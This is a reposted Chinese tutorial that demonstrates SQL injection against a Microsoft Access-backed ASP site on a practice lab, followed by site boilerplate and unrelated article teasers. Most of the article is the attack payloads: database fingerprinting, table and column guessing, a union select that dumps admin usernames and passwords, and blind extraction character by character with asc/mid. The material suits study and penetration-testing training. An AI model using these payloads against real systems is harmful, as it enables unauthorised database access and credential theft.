access 注入

0x00前言现在access的站,比较少,有的话也是小型网站在用,因为access的性能比较差,多人访问都能卡死,所以很多网站都很少会采用access的数据库搭建。但是该学的我们还是得学。0x0

大家好,又见面了,我是全栈君,祝每个程序员都可以多学几门语言。

0x00   前言

现在access的站,比较少,有的话也是小型网站在用,因为access的性能比较差,多人访问都能卡死,所以很多网站都很少会采用access的数据库搭建。但是该学的我们还是得学。

 

0x01   access 数据库

Microsoft Office Access是由微软发布的关系数据库管理系统。它结合了 MicrosoftJet Database Engine 和 图形用户界面两项特点,是 Microsoft Office 的系统程序之一。

Microsoft Office Access是微软把数据库引擎的图形用户界面和软件开发工具结合在一起的一个数据库管理系统。它是微软OFFICE的一个成员, 在包括专业版和更高版本的office版本里面被单独出售。2012年12月4日,最新的微软Office Access 2013在微软Office 2013里发布,微软Office Access 2010 是前一个版本。

MS ACCESS以它自己的格式将数据存储在基于Access Jet的数据库引擎里。它还可以直接导入或者链接数据(这些数据存储在其他应用程序和数据库)。
MicrosoftAccess在很多地方得到广泛使用,例如小型企业,大公司的部门。

Access的用途体现在两个方面:

一、用来进行数据分析:access有强大的数据处理、统计分析能力,利用access的查询功能,可以方便地进行各类汇总、平均等统计。并可灵活设置统计的条件。比如在统计分析上万条记录、十几万条记录及以上的数据时速度快且操作方便,这一点是Excel无法与之相比的。这一点体现在:会用access,提高了工作效率和工作能力。

上面是百度找到的,access数据库的介绍,一般access数据库会搭载asp来建站。

access数据库是以文件来存储的,保存的文件为.mdb 。在几年前流行的暴库其实就是利用了access数据库 以文件形式存储,然后给下载下来从而拿到数据。

 

0x02  access联合查询

这里没有搭建access的数据库注入环境就直接开个墨者的靶机来做演示 

 

access 注入

 

 

 

直接来测试一波

and (select count(*) from msysobjects)>0 (返回权限不足access数据库)

and (select count(*) from sysobjects)>0 (返回正常则为MSSQL数据库)

 

and 1=1  正常
and 1=2  无回显

存在注入,数字型注入。

access数据库只有表名和字段

我们直接来爆他的表

 and exists(select * from admin)

回显正常,证明存在这个表,

exists:检验查询是否返回数据。

那么再来猜字段。

and exists(select admin from admin)      无回显
and exists(select id from admin) 正常
and exists(select username from admin) 正常
and exists(select password from admin) 失败
and exists(select passwd from admin) 正常

现在有已经知道了他的字段有id username  passwd

来用联合查询来爆出他的字段

order by 10 无回显
order by 5   无回显
order by 4   回显

字段为4个,

 union select 1,2,3,4 from admin

前面猜表的时候也可以用这种方式来猜,access的联合查询和mysql的不一样,access的需要指定表名。

access 注入

 

 

 有显示位,我们直接来进行查询username和passwd的字段

access 注入

 

 

 

union select 1,username,passwd,4 from admin

0x03  access盲注

当我们已经知道字段和表明后,无回显位的话就需要用到盲注了。

and (select len(username)from admin)>10 无回显
and (select len(username)from admin)>5 无回显
and (select len(username)from admin)>4 正常
and (select len(username)from admin)=4 正常

 

username这个字段的长度是4个,知道长度后我们就可以来一个一个取值,然后拿到账号了

and (select top 1 asc(mid(username,1,1)) from Admin)=109  正常
and (select top 1 asc(mid(username,2,1)) from Admin)=111 正常
and (select top 1 asc(mid(username,3,1)) from Admin)=107 正常
and (select top 1 asc(mid(username,4,1)) from Admin)=101 正常
and (select top 1 asc(mid(username,4,1)) from Admin)=101 正常

access的没有limit函数这里要使用top 1来取第一行数据,asc是转换ascii码的函数,和mysql的ascii函数一样。

mid是取值函数。

 

由于盲注比较久这里就不爆密码了,密码是hash值

 

0x03  结尾

access跑不出来表的时候还可以使用到偏移注入,但是那个没有去研究过,因为access的站都是小型网站没搞头,而且一般跑表名能跑出来就跑,跑不出来就盲注。

access 注入

 

 

access 注入

 

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/119974.html原文链接:https://javaforall.net

赞 (0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • 转:全新安装Mac OSX 开发者环境 同时使用homebrew搭建 (LNMP开发环境)

    转:全新安装Mac OSX 开发者环境 同时使用homebrew搭建 (LNMP开发环境)

    2021年5月11日
  • docker-jenkins安装node

    docker-jenkins安装node容器直接使用脚本安装报错执行如下命令即可解决gitconfig–global–unsethttp.proxygitconfig–global–unsethttps.proxy后续安装参考https://blog.csdn.net/qq_28686911/article/details/113114894

    2022年5月24日
  • C语言求素数的方法_用c语言求1~n的素数个数

    C语言求素数的方法_用c语言求1~n的素数个数一、判断n是否能被2~n-1整除输入的数n不能被2-(n-1)整除,说明是素数输入的数n能被2-(n-1)整除,说明不是素数注意:1不是素数,素数是指大于1的自然数,除了1和该数自身外,无法被其他自然数整除的数。法一:#include<stdio.h>int main(){ int i, n; printf(“请输入一个数:”); scanf(…

    2022年8月18日
  • Python之xpath

    xpath表达式格式xpath通过"路径表达式"来选择节点,在表现形式上与传统的文件系统类似绝对路径(absolutepath)必须用"/"起首,后面紧跟

    2021年12月18日
  • 多层感知机和神经网络_CNN采用多层感知机进行分类

    多层感知机和神经网络_CNN采用多层感知机进行分类单独的ESN仿真:ESN的运行结果如下所示:这个部分的误差为:0.0435ESN部分就不多做介绍了,你应该了解的,下面我们对ESN和BP改进和极限学习改进分别进行修改和说明,并进行仿真。ESN+BP的仿真:首先,在原始的ESN中,权值的计算是通过pseudoinverse.m这个函数进行计算的,其主要内容就是:即:这里,我们的主要方法…

    2022年8月30日
  • 计算机为什么要用补码运算_补码运算溢出后怎么算

    计算机为什么要用补码运算_补码运算溢出后怎么算计算机为什么用补码运算使用补码,可以将符号位和数值域统一处理,从而简化运算规则、简化运算器的结构,提高运算速度;使减法运算转换为加法运算,进一步简化计算机中运算器的电路设计两个用补码表示的数相加时,如果最高位(符号位)有进位,则进位被舍弃,而这样计算仍然正确;采用补码表示还有另外一个原因,那就是为了防止0机器数有两个编码。原码和反码表示的0有两种形式+0和-0,而采用补码表示的时候,00000000是+0即0,10000000不再是-0而是-128这样,补码表示的数的范围就是-128~+127,不

    2022年9月22日

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号